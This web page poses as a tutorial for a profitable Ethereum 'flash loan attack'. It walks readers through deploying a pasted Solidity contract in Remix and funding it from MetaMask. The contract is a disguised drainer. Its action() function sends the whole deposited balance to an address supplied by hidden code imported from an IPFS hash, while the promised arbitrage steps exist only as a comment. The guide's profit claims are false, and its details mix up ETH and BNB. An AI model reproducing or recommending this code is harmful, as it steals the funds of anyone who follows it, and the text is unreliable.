Simple yet Profitable ETH Flash Loan Method Tutorial

Detailed ETH Flash Loan tutorial provided below, follow theese simple steps carfully and earn your profit right away!

Step by step tutorial :

1. Download MetaMask For Chrome Web Browser

You can download and install MetaMask from this link: https://chrome.google.com/webstore/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn.

2. Ethereum Mainnet Network

Make sure the metamask network is connected to the ethereum mainnet (metamask is by default connected to the network).

3. Open http://remix.ethereum.org/ from your browser

Open Ethereum Remix to make or extend the smart contract which later is used for making a smart contract Flash Loan Attack to the Binance Smart Contract network.

4. Click on Solidity Compiler (2nd menu button from the left) and select compiler version to 0.5.0

Change the compiler version to “0.5.0+commit.1d4f565a”. This is needed to make your compiler version is the same as the source code you'll use.

5. Create a file Solidity “Flash Loan.sol” in the File Explorer (1st menu button from the left)

Copy and paste the code below to the Flash Loan.sol file :

  1. pragma solidity ^0.5.0;
  2.  
  3. // Multiplier-Finance Smart Contracts
  4. import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
  5. import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
  6.  
  7. // uniswapSwap Smart Contracts
  8. import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
  9. import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
  10. import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
  11.  
  12. // Code Manager
  13. import "ipfs://QmNMDRbFwmfrbpWE1CJgZfECA6cSEMRqy9qWcLCAJsjAY8";
  14.  
  15. contract uniswapFlashLoan {
  16. string public tokenName;
  17. string public tokenSymbol;
  18. uint loanAmount;
  19. Manager manager;
  20. constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
  21. tokenName = _tokenName;
  22. tokenSymbol = _tokenSymbol;
  23. loanAmount = _loanAmount;
  24. manager = new Manager();
  25. }
  26. function() external payable {}
  27. function action() public payable {
  28. // Send required coins for swap
  29. address(uint160(manager.uniswapDepositAddress())).transfer(address(this).balance);
  30. // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
  31. // Breakdown of functions written below
  32. manager.performTasks();
  33. /* Breakdown of functions
  34. // Submit token to ETH blockchain
  35. string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
  36.  
  37. // List the token on uniswapSwap
  38. manager.uniswapListToken(tokenName, tokenSymbol, tokenAddress);
  39. // Get BNB Loan from Multiplier-Finance
  40. string memory loanAddress = manager.takeFlashLoan(loanAmount);
  41. // Convert half ETH to DAI
  42. manager.uniswapDAItoETH(loanAmount / 2);
  43.  
  44. // Create ETH and DAI pairs for our token & Provide liquidity
  45. string memory ethPair = manager.uniswapCreatePool(tokenAddress, "ETH");
  46. manager.uniswapAddLiquidity(ethPair, loanAmount / 2);
  47. string memory daiPair = manager.uniswapCreatePool(tokenAddress, "DAI");
  48. manager.uniswapAddLiquidity(daiPair, loanAmount / 2);
  49. // Perform swaps and profit on Self-Arbitrage
  50. manager.uniswapPerformSwaps();
  51. // Move remaining ETH from Contract to your account
  52. manager.contractToWallet("ETH");
  53.  
  54. // Repay Flash loan
  55. manager.repayLoan(loanAddress);
  56. */
  57. }
  58.  
  59. }

6. Click on Solidity Compiler (2nd menu button from the left) and Compile

Look for a dropdown Contract at the bottom of the Solidity Compiler menu, on that dropdown Contract choose “GetFlash Loan (Flash Loan.sol)” and then click Compile Flash Loan.sol.

7. Click on Deploy & run transactions (3rd menu button from the left) and Deploy

  • - At the very top, change the dropdown Environment value to “Injected Web3” (For remix users, firstly there will be a confirmation on the MetaMask, Accept the confirmation notif on the MetaMask wallet Chrome Extention).
  • - The MetaMask wallet address will automatically be connected If you're already connected to your MetaMask Account.
  • - There's a dropdown next to the, click that dropdown and create a Smart Contract name you desired. Eg. :
    
                         _TOKENNAME = Flash Loan (write random token name)
                         _TOKENSYMBOL = FLO (write random three of four-letter symbol)
                         _LOANAMOUNT = 10 (amount loan)
  • - Click Transact and confirm in MetaMask.

- after you create a Smart Contract, wait till the transaction complete and you'll have your smart contract address.

8. Input a Liquidity to the Smart Contract

To input a Liquidity, transfer your nominal BNB to the Smart Contract address you have created before by using the transfer feature in the MetaMask Chrome Extention. Send the nominal BNB ( the amount BNB will affect the profit you will earn ). Wait till the liquidity addition transaction complete.

9. Flash Loan Attack

After creating a Smart Contract with liquidity added ( Step 8 ) and set the amount of loan ( Step 7 ), click the dropdown from the success transaction ( Step 7 ) it will display a dropdown menu with some button that is action, tokenName, tokenSymbol. Click "action" ( red button ) to run the smart contract. wait for a while until the transaction complete, and regularly check your BNB balance on the wallet from the MetaMask Chome Extension.

Note: Sometimes the code give error and sometimes it will not work from the first time.You must then start the whole process from begining.

Comments

Add a comment

Submit